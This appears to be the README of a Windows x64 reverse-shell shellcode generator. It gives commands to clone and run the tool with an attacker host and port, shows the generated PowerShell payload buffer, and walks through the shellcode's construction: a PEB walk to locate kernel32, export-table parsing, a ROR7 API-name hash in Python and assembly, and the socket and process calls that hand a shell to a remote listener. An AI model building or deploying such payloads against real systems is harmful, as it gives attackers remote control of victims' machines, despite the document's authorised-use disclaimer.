p0cket-shell is the most compact reverse shell shellcode available. The intention of this shellcode was to explore the least amount of instructions in an executable to establish a reverse shell. Although I do not think that the executable is objetively the smallest, it is miles smaller than what I originally researched.
Disclaimer: The purpose of this generated shellcode is for educational purposes and testing only. Do not use this shellcode on machines you do not have permission to use. Do not use this shellcode to leverage and communicate with machines that you do not have authorization to use.
git clone https://github.com/SilenitsVox/p0cket-shell
cd p0cket-shell
python p0cket-shell.pyGenerating the shellcode is simply put.
The payload is a Windows x64 Reverse Shell, and can run on every Windows x64 machine [2026-04-21].
No argument is mandatory, but the will be filled with default values.
LHOST=, you must use a valid ip0.0.0.0.LPORT=, you must use a valid port0-65535.EXITFUN=, you may apply the valuesprocess || threadFORMAT=, you may apply the valuesasm || c || powershell || python || raw.
> python p0cket-shell.py \
lhost=192.168.0.101 \
lport=4444 \
exitfun=thread \
format=ps1
[*] Payload size: 386 bytes
[*] Final size of PowerShell file: 2646 bytes
$Buffer = [Byte[]] @(
0x40, 0x80, 0xE4 ...To create a reverse shell, you must make a connection, and pass the respective socket object to a process' standard handles.
The functions of choice are CreateProcessA & connect (which subsequently require WSAStartup & WSASocketA).
These functions are located within kernel32.dll & ws2_32.dll.
To gather pointers to these functions, we must parse both modules and gather the address' of each function.
We can gather the base address of kernel32.dll with a PEB walk;
We can load ws2_32.dll with the LoadLibraryA function from kernel32.dll.
GET_KERNEL32:
MOV RAX, GS:[0x60] ; pTEB + 0x60 => pPEB
MOV RAX, QWORD [RAX + 0x18] ; pPEB + 0x18 => pLoaderData
MOV RAX, QWORD [RAX + 0x30] ; pLoaderData + 0x30 =>
MOV RAX, QWORD [RAX] ; pInLoadOrderModuleList => Flink
MOV RAX, QWORD [RAX] ; Flink => Flink
MOV RAX, QWORD [RAX + 0x10] ; Flink + 0x10 => pModule
Once the base address to a module is obtained, we can parse it for symbol export datas.
The datas are laid out in individual fields that correspond to eachother.
Key fields from the Export Directory are: NumberOfNames, NumberOfFunctions, AddressOfNames, AddressOfFunctions, & AddressOfNameOrdinals.
; EXAMPLE
ExportDirectory:
0x18: XXXX XXXX ; NumberOfNames
0x1C: XXXX XXXX ; AddressOfFunctions
0x20: XXXX XXXX ; AddressOfNames
0x24: XXXX XXXX ; AddressOfNameOrdinals
To gather a functions address, you must know which index it is in the exported name list. The index X 2 added to the AddressOfNameOrdinals will give you the address to the RVA slot. The 2 byte value at that address is the ordinal of the function. The ordinal value X 4 added to the AddressOfFunctions will give you the address to the function offset. The 4 byte value at that address is the offset within the module to that function. The base address + offset is the full address of the function.
When resolving the function address, we must have some unique identifier regarding the function. Including names, instructions from the function, or hashes of the function names. The simplest of hashing algorithms can be used.
def ROR7__32(NAME: str) -> int:
HASH = 0
for CHAR in NAME:
HASH = ((HASH >> 7) | (HASH << 25)) & 0xFFFFFFFF
HASH = (HASH + ord(CHAR)) & 0xFFFFFFFF
return HASH XOR RAX, RAX
XOR RCX, RCX
ROR7__32:
LODSB
CMP AL, 0
JZ EXIT
ROR ECX, 7
ADD ECX, EAX
JMP ROR7__32
EXIT:
RET